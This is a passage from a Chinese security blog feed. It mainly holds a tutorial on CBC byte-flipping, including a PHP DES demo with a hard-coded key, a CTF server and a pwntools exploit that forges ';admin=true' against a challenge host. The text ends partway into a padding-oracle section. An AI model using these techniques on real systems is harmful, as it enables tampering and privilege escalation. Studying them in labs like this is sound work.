class="comment">//alert(_base64Str.charAt(_len-1));</span></span><br><span class="line"><span class="comment">//alert(_base64Str.charAt(_len-2));</span></span><br><span class="line"><span class="keyword">if</span>(_base64Str.charAt(_len<span class="number">-2</span>) == <span class="string">'='</span>){<span class="comment">//两个等号说明补了4个0</span></span><br><span class="line">extra_Zero_Count = <span class="number">4</span>;</span><br><span class="line">_base64Str = _base64Str.substring(<span class="number">0</span> , _len<span class="number">-2</span>);</span><br><span class="line">}<span class="keyword">else</span>{<span class="comment">//一个等号说明补了2个0</span></span><br><span class="line">extra_Zero_Count = <span class="number">2</span>;</span><br><span class="line">_base64Str = _base64Str.substring(<span class="number">0</span> , _len - <span class="number">1</span>);</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> binaryArray = [];</span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> i = <span class="number">0</span> , len = _base64Str.length; i < len ; ++i){</span><br><span class="line"><span class="keyword">var</span> c = _base64Str.charAt(i);</span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> j = <span class="number">0</span> , size = BASE64_MAPPING.length ; j < size ; ++j){</span><br><span class="line"><span class="keyword">if</span>(c == BASE64_MAPPING[j]){</span><br><span class="line"><span class="keyword">var</span> _tmp = _toBinary(j);</span><br><span class="line"><span class="comment">/*不足6位的补0*/</span></span><br><span class="line"><span class="keyword">var</span> _tmpLen = _tmp.length;</span><br><span class="line"><span class="keyword">if</span>(<span class="number">6</span>-_tmpLen > <span class="number">0</span>){</span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> k = <span class="number">6</span>-_tmpLen ; k > <span class="number">0</span> ; --k){</span><br><span class="line">_tmp.unshift(<span class="number">0</span>);</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">binaryArray = binaryArray.concat(_tmp);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(extra_Zero_Count > <span class="number">0</span>){</span><br><span class="line">binaryArray = binaryArray.slice(<span class="number">0</span> , binaryArray.length - extra_Zero_Count);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> unicode = [];</span><br><span class="line"><span class="keyword">var</span> unicodeBinary = [];</span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> i = <span class="number">0</span> , len = binaryArray.length ; i < len ; ){</span><br><span class="line"><span class="keyword">if</span>(binaryArray[i] == <span class="number">0</span>){</span><br><span class="line">unicode=unicode.concat(_toDecimal(binaryArray.slice(i,i+<span class="number">8</span>)));</span><br><span class="line">i += <span class="number">8</span>;</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line"><span class="keyword">var</span> sum = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">while</span>(i < len){</span><br><span class="line"><span class="keyword">if</span>(binaryArray[i] == <span class="number">1</span>){</span><br><span class="line">++sum;</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">}</span><br><span class="line">++i;</span><br><span class="line">}</span><br><span class="line">unicodeBinary = unicodeBinary.concat(binaryArray.slice(i+<span class="number">1</span> , i+<span class="number">8</span>-sum));</span><br><span class="line">i += <span class="number">8</span> - sum;</span><br><span class="line"><span class="keyword">while</span>(sum > <span class="number">1</span>){</span><br><span class="line">unicodeBinary = unicodeBinary.concat(binaryArray.slice(i+<span class="number">2</span> , i+<span class="number">8</span>));</span><br><span class="line">i += <span class="number">8</span>;</span><br><span class="line">--sum;</span><br><span class="line">}</span><br><span class="line">unicode = unicode.concat(_toDecimal(unicodeBinary));</span><br><span class="line">unicodeBinary = [];</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> unicode;</span><br><span class="line">}</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="built_in">window</span>.BASE64 = __BASE64;</span><br><span class="line">})();</span><br></pre></td></tr></table></figure><h4 id="后记"><a href="#后记" class="headerlink" title="后记"></a>后记</h4><p>主要我做了就这三个题,还有个nodejs的杂项当时算法也看差不多,思路也比较清晰,可惜就是代码写的少,基础不扎实,最后并没有跑出来,感觉还是要好好搞一搞js哇。太菜了。这次比赛讲真的题目真的很不错,尤其是那些没做来的题,还是值得好好研究研究的。当然比赛完还有一些杂七杂八的事还有人,路遥知马力。</p>]]></content>
<summary type="html">
<p>端午来临之际,校赛也来了,感觉师傅们出的题还是相当用心的,感觉还是学到了不少,涨了姿势,趁着就来记录一发吧。</p>
</summary>
<category term="ctf" scheme="http://blog.leej.me/tags/ctf/"/>
</entry>
<entry>
<title>凤求凰!</title>
<link href="http://blog.leej.me/2017/05/16/%E5%87%A4%E6%B1%82%E5%87%B0/"/>
<id>http://blog.leej.me/2017/05/16/凤求凰/</id>
<published>2017-05-15T16:00:00.000Z</published>
<updated>2018-02-07T04:11:15.662Z</updated>
<content type="html"><![CDATA[<p>无狂不也</p><a id="more"></a><p><img src="http://ww1.sinaimg.cn/large/7e2785d1gy1ffmkjc6g83j20rs0dwjx0.jpg" alt=""><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>祝你生日快乐!</p>]]></content>
<summary type="html">
<p>无狂不也</p>
</summary>
<category term="生活" scheme="http://blog.leej.me/tags/%E7%94%9F%E6%B4%BB/"/>
</entry>
<entry>
<title>分组密码CBC加密缺陷</title>
<link href="http://blog.leej.me/2017/05/15/%E5%88%86%E7%BB%84%E5%AF%86%E7%A0%81CBC%E5%8A%A0%E5%AF%86%E7%BC%BA%E9%99%B7/"/>
<id>http://blog.leej.me/2017/05/15/分组密码CBC加密缺陷/</id>
<published>2017-05-15T02:04:47.000Z</published>
<updated>2018-02-07T04:11:15.627Z</updated>
<content type="html"><![CDATA[<p>关于密码学的种种漏洞以及利用网上也有不少,但是比较零散,有关介绍比较局限,导致一些东西晦涩难懂不易理解,这里是一个有关于CBC分组加密的一个讲解</p><a id="more"></a><h1 id="CBC加密模式"><a href="#CBC加密模式" class="headerlink" title="CBC加密模式"></a>CBC加密模式</h1><p>首先上图</p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1gy1ffgtp29e1oj211t0i1dhg.jpg" alt=""> </p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1gy1ffgtpm50czj21050frmyk.jpg" alt=""> </p><p>这里文字描述不如看图直观,还是大致描述一下,CBC模式的加密方式是通过一个初始向量(IV)先和明文分组第一组异或后使用秘钥K加密,作为第一组密文,同时又与后一分组的明文异或后进行加密产生下一组密文,依次重复。</p><p>其解密和加密是对称的,密文先解密,再异或。</p><p>关于这个初始向量IV的完整性要比其保密性更为重要。在CBC模式下,最好是每发一个消息,都改变IV,比如将其值加一。</p><p>这里说说有关于CBC的错误传播,有利于之后字节翻转攻击的理解</p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1gy1ffgu1ahos3j210u0dgdhj.jpg" alt=""> </p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1gy1ffgu1xi3qoj21460cstar.jpg" alt=""> </p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1gy1ffguy1ae90j20lo09lt97.jpg" alt=""> </p><p>其特点如下:</p><ol><li>明文有一组中有错,会使以后的密文组都受影响,但经解密后的恢复结果,除原有误的一组外,其后各组明文都正确地恢复。</li><li>解密时,有一组秘钥错误,该错误会影响下一分组相同位置的解密</li><li>若在传送过程中,某组密文组出错时,则该组恢复的明文和下一组恢复数据出错。再后面的组将不会受中错误比特的影响。</li></ol><h2 id="字节翻转攻击"><a href="#字节翻转攻击" class="headerlink" title="字节翻转攻击"></a>字节翻转攻击</h2><h3 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h3><p>有关于这里的攻击,没有下面那种方式刺激,但是效果也还是可以</p><p>这里最大的效果就是:<strong>在不知道Key(秘钥)的情况下篡改明文</strong>。</p><p>通过上面的错误传播,我们可以想到,解密时通过修改前一个密文分组可以影响后一个的解密后的明文分组</p><p>这里修改可以将前一个密文中的任意比特进行修改(0,1进行翻转)</p><h3 id="详解"><a href="#详解" class="headerlink" title="详解"></a>详解</h3><p>这里举个例子:</p><p>明文是”lee-jayy:12345678$,ohh he is very rich!”</p><p>这里使用DES算法,秘钥<code>key = "leejleej"</code>初始向量<code>iv='thisisiv'</code></p><p>加密结果为:<code>04f2e7d245cec18f6c1769c66f0e30ccc30a378c58597b15409a0a8c296df6a66a10679b55ddbabb</code></p><p>第一步将消息分组,其des算法的分组长度是64bit,一个字符是8bit故8个字符一组,如下</p><p>第一组:<code>lee-jayy</code></p><p>第二组:<code>:1234567</code></p><p>第三组:<code>8$,ohh h</code></p><p>第四组:<code>eis ver</code></p><p>第五组:<code>y rich!</code></p><p>这里我想把第二组的第2个字符“1”改为“9”,这里该如何操作?</p><p>由上面的特点我们知道,修改第n分组的秘文,其第n+1分组的明文会被窜改,这里我们待修改的字符在第二分组,我们可以修改第一分组的密文来控制第二分组。</p><p>为了方便我把密文也分组一下:</p><p>04f2e7d245cec18f</p><p>6c1769c66f0e30cc</p><p>c30a378c58597b15</p><p>409a0a8c296df6a6</p><p>6a10679b55ddbabb</p><p>由于这里需要修改的字符“1”位于第二分组的第二个字符,所以我们只需修改第一分组相同的位置的密文</p><p>,一个字符是16bit两个十六进制位,故我们需要修改第一分组密文的“f2”,这里改如何改呢?</p><p>在改之前我们先了解一个基本知识,有关于异或:</p><p>异或的规则是相同为0,不同为1</p><p>于是有1 xor 1 =0,1 xor 0 =1,0 xor 0 = 0</p><p>可以看出这么一个规则,<strong>A xor B = C <=> A xor C = B</strong></p><p>这时候可以回看一下上面的解密的图</p><p>我们知道的东西有:</p><p>1、第二组des算法加密后要和第一组的密文异或得到第二组的密文</p><p>2、字符1的ascii码16进制是31</p><p>3、字符1经过cbc后的密文要和f2进行异或</p><p>这里我们并不晓得其秘钥key,这里我们假设第二组des算法加密后16进制是ABCDEFGHIGKLMNOP,故字符1经过DES加密的结果是AB</p><p>第一步、我们根据上面的算法知道 AB xor f2 = 31,这里04是字符1的密文,我们需要解出AB,只需要f2 xor 31既可得出1经过des算法加密后是C3</p><p>第二步、我们利用上一步计算出的DES对字符1加密的结果35异或待修改的字符“9”(其ascii码为39)。</p><p>C3 xor 39 = FA</p><p>第三步、修改密文中第一分组开始的f2为FA,修改后的密文是:</p><p><code>04FAe7d245cec18f6c1769c66f0e30ccc30a378c58597b15409a0a8c296df6a66a10679b55ddbabb</code></p><p>可以对比一下输出:</p><p>修改前:<code>lee-jayy:12345678$,ohh he is very rich!</code></p><p>修改后:<code>4糉L柖292345678$,ohh he is very rich!</code></p><p>看出对应的1的确变为了9</p><p>利用同样方法我把1234567修改为了9999999,秘文为<code>04FAECD848C2CE816c1769c66f0e30ccc30a378c58597b15409a0a8c296df6a66a10679b55ddbabb</code></p><p>结果:<code>d&φΤ5ς:99999998$,ohh he is very rich!</code></p><p>加密脚笨如下,有兴趣可以自己试一试:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">jiami_DES</span><span class="params">($input = <span class="string">""</span>,$key = <span class="string">"leejleej"</span>,$iv=<span class="string">'thisisiv'</span>)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line">$td = mcrypt_module_open(MCRYPT_DES, <span class="string">''</span>, MCRYPT_MODE_CBC, <span class="string">''</span>);</span><br><span class="line">mcrypt_generic_init($td, $key, $iv);</span><br><span class="line"></span><br><span class="line">$encrypted_data = mcrypt_generic($td, $input);</span><br><span class="line"></span><br><span class="line">mcrypt_generic_deinit($td);</span><br><span class="line">mcrypt_module_close($td);</span><br><span class="line"><span class="keyword">return</span> bin2hex($encrypted_data);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">jiemi_DES</span><span class="params">($input = <span class="string">""</span>,$key = <span class="string">"leejleej"</span>,$iv=<span class="string">'thisisiv'</span>)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line">$td = mcrypt_module_open(MCRYPT_DES, <span class="string">''</span>, MCRYPT_MODE_CBC, <span class="string">''</span>);</span><br><span class="line">mcrypt_generic_init($td, $key, $iv);</span><br><span class="line">$mdecrypted_data = mdecrypt_generic($td,hex2bin($input));<span class="comment">//$encrypted_data);</span></span><br><span class="line">mcrypt_generic_deinit($td);</span><br><span class="line">mcrypt_module_close($td);</span><br><span class="line"><span class="keyword">return</span> $mdecrypted_data;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> jiami_DES(<span class="string">'lee-jayy:12345678$,ohh he is very rich!'</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'<br />'</span>;</span><br><span class="line"><span class="keyword">echo</span> jiemi_DES($_GET[<span class="string">'key'</span>]);</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><h3 id="CTF实例"><a href="#CTF实例" class="headerlink" title="CTF实例"></a>CTF实例</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> twisted.internet <span class="keyword">import</span> reactor, protocol</span><br><span class="line"><span class="keyword">from</span> Crypto.Cipher <span class="keyword">import</span> AES</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">from</span> secret <span class="keyword">import</span> KEY,KEYSIZE,IV,FLAG</span><br><span class="line"></span><br><span class="line">PORT = <span class="number">6666</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">pad</span><span class="params">(instr, length)</span>:</span></span><br><span class="line"> <span class="keyword">if</span>(length == <span class="keyword">None</span>):</span><br><span class="line"> <span class="keyword">print</span> <span class="string">"Supply a length to pad to"</span></span><br><span class="line"> <span class="keyword">elif</span>(len(instr) % length == <span class="number">0</span>):</span><br><span class="line"> <span class="keyword">print</span> <span class="string">"No Padding Needed"</span></span><br><span class="line"> <span class="keyword">return</span> instr</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">return</span> instr + <span class="string">'\x04'</span> * (length - (len(instr) % length ))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">encrypt_block</span><span class="params">(key, plaintext)</span>:</span></span><br><span class="line"> encobj = AES.new(key, AES.MODE_ECB)</span><br><span class="line"> <span class="keyword">return</span> encobj.encrypt(plaintext).encode(<span class="string">'hex'</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">decrypt_block</span><span class="params">(key, ctxt)</span>:</span></span><br><span class="line"> decobj = AES.new(key, AES.MODE_ECB)</span><br><span class="line"> <span class="keyword">return</span> decobj.decrypt(ctxt).encode(<span class="string">'hex'</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">xor_block</span><span class="params">(first,second)</span>:</span></span><br><span class="line"> <span class="keyword">if</span>(len(first) != len(second)):</span><br><span class="line"> <span class="keyword">print</span> <span class="string">"Blocks need to be the same length!"</span></span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span></span><br><span class="line"></span><br><span class="line"> first = list(first)</span><br><span class="line"> second = list(second)</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0</span>,len(first)):</span><br><span class="line"> first[i] = chr(ord(first[i]) ^ ord(second[i]))</span><br><span class="line"> <span class="keyword">return</span> <span class="string">''</span>.join(first)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">encrypt_cbc</span><span class="params">(key,IV, plaintext)</span>:</span></span><br><span class="line"> <span class="keyword">if</span>(len(plaintext) % len(key) != <span class="number">0</span>): <span class="comment">#加密文本的长度必须能整除Key,否则在后面加x40</span></span><br><span class="line"> plaintext = pad(plaintext,len(key))</span><br><span class="line"> blocks = [plaintext[x:x+len(key)] <span class="keyword">for</span> x <span class="keyword">in</span> range(<span class="number">0</span>,len(plaintext),len(key))]</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0</span>,len(blocks)):</span><br><span class="line"> <span class="keyword">if</span> (i == <span class="number">0</span>):</span><br><span class="line"> ctxt = xor_block(blocks[i],IV)</span><br><span class="line"> ctxt = encrypt_block(key,ctxt)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> tmp = xor_block(blocks[i],ctxt[<span class="number">-1</span> * (len(key) * <span class="number">2</span>):].decode(<span class="string">'hex'</span>)) </span><br><span class="line"> ctxt = ctxt + encrypt_block(key,tmp)</span><br><span class="line"> <span class="keyword">return</span> ctxt</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">decrypt_cbc</span><span class="params">(key,IV,ctxt)</span>:</span></span><br><span class="line"> ctxt = ctxt.decode(<span class="string">'hex'</span>)</span><br><span class="line"> <span class="keyword">if</span>(len(ctxt) % len(key) != <span class="number">0</span>):</span><br><span class="line"> <span class="keyword">print</span> <span class="string">"Invalid Key."</span></span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span></span><br><span class="line"> blocks = [ctxt[x:x+len(key)] <span class="keyword">for</span> x <span class="keyword">in</span> range(<span class="number">0</span>,len(ctxt),len(key))]</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0</span>,len(blocks)):</span><br><span class="line"> <span class="comment">#print blocks[0].encode('hex')</span></span><br><span class="line"> <span class="keyword">if</span> (i == <span class="number">0</span>):</span><br><span class="line"> ptxt = decrypt_block(key,blocks[i])</span><br><span class="line"> ptxt = xor_block(ptxt.decode(<span class="string">'hex'</span>),IV)</span><br><span class="line"> <span class="comment">#print ptxt.encode('hex')</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> tmp = decrypt_block(key,blocks[i])</span><br><span class="line"> tmp = xor_block(tmp.decode(<span class="string">'hex'</span>),blocks[i<span class="number">-1</span>])</span><br><span class="line"> ptxt = ptxt + tmp</span><br><span class="line"> <span class="keyword">return</span> ptxt</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">mkprofile</span><span class="params">(email)</span>:</span></span><br><span class="line"><span class="keyword">if</span>((<span class="string">";"</span> <span class="keyword">in</span> email)):</span><br><span class="line"><span class="keyword">return</span> <span class="number">-1</span></span><br><span class="line">prefix = <span class="string">"comment1=wowsuch%20CBC;userdata="</span></span><br><span class="line">suffix = <span class="string">";coment2=%20suchsafe%20very%20encryptwowww"</span></span><br><span class="line"></span><br><span class="line">ptxt = prefix + email + suffix <span class="comment">#连接字符串</span></span><br><span class="line"><span class="keyword">print</span> ptxt</span><br><span class="line"><span class="keyword">return</span> encrypt_cbc(KEY,IV,ptxt)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">parse_profile</span><span class="params">(data)</span>:</span></span><br><span class="line"><span class="keyword">print</span> <span class="string">"DATA:"</span></span><br><span class="line"><span class="keyword">print</span> data</span><br><span class="line">ptxt = decrypt_cbc(KEY,IV,data.encode(<span class="string">'hex'</span>))</span><br><span class="line">ptxt = ptxt.replace(<span class="string">"\x04"</span>,<span class="string">""</span>)</span><br><span class="line"><span class="keyword">print</span> ptxt</span><br><span class="line"><span class="keyword">if</span> <span class="string">";admin=true"</span> <span class="keyword">in</span> ptxt:</span><br><span class="line"><span class="keyword">return</span> <span class="number">1</span></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">MyServer</span><span class="params">(protocol.Protocol)</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">dataReceived</span><span class="params">(self,data)</span>:</span></span><br><span class="line"><span class="keyword">if</span>(len(data) > <span class="number">512</span>):</span><br><span class="line">self.transport.write(<span class="string">"Data too long.\n"</span>)</span><br><span class="line">self.transport.loseConnection()</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(data.startswith(<span class="string">"mkprof:"</span>)):</span><br><span class="line">data = data[<span class="number">7</span>:]</span><br><span class="line">resp = mkprofile(data)</span><br><span class="line"><span class="keyword">if</span> (resp == <span class="number">-1</span>):</span><br><span class="line">self.transport.write(<span class="string">"No Cheating!\n"</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">self.transport.write(resp + <span class="string">'\n'</span>)</span><br><span class="line"><span class="keyword">elif</span>(data.startswith(<span class="string">"parse:"</span>)):</span><br><span class="line">self.transport.write(<span class="string">"Parsing Profile..."</span>)</span><br><span class="line">data = data[<span class="number">6</span>:].decode(<span class="string">'hex'</span>)</span><br><span class="line"><span class="keyword">if</span> (len(data) % KEYSIZE != <span class="number">0</span>):</span><br><span class="line">self.transport.write(<span class="string">"Invalid Ciphertext <length>\n"</span>)</span><br><span class="line">self.transport.loseConnection()</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(parse_profile(data) == <span class="number">1</span>):</span><br><span class="line">self.transport.write(<span class="string">"Congratulations!\nThe FLAG is: "</span>)</span><br><span class="line">self.transport.write(FLAG)</span><br><span class="line">self.transport.loseConnection()</span><br><span class="line"></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">self.transport.write(<span class="string">"You are a normal user.\n"</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">self.transport.write(<span class="string">"Syntax Error"</span>)</span><br><span class="line">self.transport.loseConnection()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">MyServerFactory</span><span class="params">(protocol.Factory)</span>:</span></span><br><span class="line"> protocol = MyServer</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">factory = MyServerFactory()</span><br><span class="line">reactor.listenTCP(PORT, factory)</span><br><span class="line">reactor.run()</span><br></pre></td></tr></table></figure><p>wp:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">sh = remote(<span class="string">'133.130.52.128'</span>,<span class="number">6666</span>)</span><br><span class="line">target = <span class="string">";admin=true"</span></span><br><span class="line">email = <span class="string">'0000000000000000000000'</span></span><br><span class="line">prefix = <span class="string">"comment1=wowsuch%20CBC;userdata="</span></span><br><span class="line">suffix = <span class="string">";coment2=%20suchsafe%20very%20encryptwowww"</span></span><br><span class="line">ptxt = prefix + email + suffix</span><br><span class="line"></span><br><span class="line">sh.send(<span class="string">'mkprof:'</span> + email)</span><br><span class="line">s = sh.recv(<span class="number">1024</span>)[<span class="number">0</span>:len(ptxt)*<span class="number">2</span>]</span><br><span class="line">s = list(s.decode(<span class="string">'hex'</span>))</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(len(target)):</span><br><span class="line"> s[<span class="number">32</span>+i] = p8( u8(s[<span class="number">32</span>+i]) ^ u8(target[i]) ^ u8(ptxt[<span class="number">48</span>+i]) )</span><br><span class="line">s = <span class="string">''</span>.join(s).encode(<span class="string">'hex'</span>)</span><br><span class="line">sh.send(<span class="string">'parse:'</span> + s)</span><br><span class="line"><span class="keyword">print</span> sh.recv(<span class="number">1024</span>)</span><br></pre></td></tr></table></figure><h2 id="Padding-Oracle-Attack"><a href="#Padding-Oracle-Attack" class="headerlink" title="Padding Oracle Attack"></a>Padding Oracle Attack</h2><h3 id="概述-1"><a href="#概述-1" class="headerlink" title="概述"></a>概述</h3><p>有关于这种方式的攻击,实在是巧妙!</p><p>首先说一下使用条件,以及可以达到的效果。</p><p>使用条件:</p><p>一、<code>我们可以修改iv(在我的理解其实这里如果数据分组大于1组其实不需要iv也可以进行攻击)</code></p><p>二、<code>我们知道密文</code></p><p>三、<code>我们可以利用服务端进行解密</code></p><p>效果:<code>获取明文!(如果分组大于1组,没有iv的情况这里可以获取到部分明文)</code></p><h3 id="详解-1"><a href="#详解-1" class="headerlink" title="详解"></a>详解</h3><p>首先介绍一下对于分组加密过程中数据填充常用的方式(<a href="http://www.di-mgt.com.au/cryptopad.html#PKCS5" target="_blank" rel="noopener">PKCS#5</a>)</p><p>这种方式其实就是缺少多少字节就补充多少字节,其补充的数值就是填充的字节的数量比如数据差2字节,我们就补充两个0x02即可,就是差几个补几个几,如下图。</p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1ly1ffkan9bhisj20oi08kab5.jpg" alt=""> </p><p>下面我们回顾一下关于cbc模式的解密方式</p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1gy1ffkb8les6tj20f206mgm2.jpg" alt=""> </p><p>这里对每一分组进行一下细分,</p><p><img src="http://ww1.sinaimg.cn/large/7e2785d1gy1ffkbgq2ag6j20f1076wf8.jpg" alt=""> 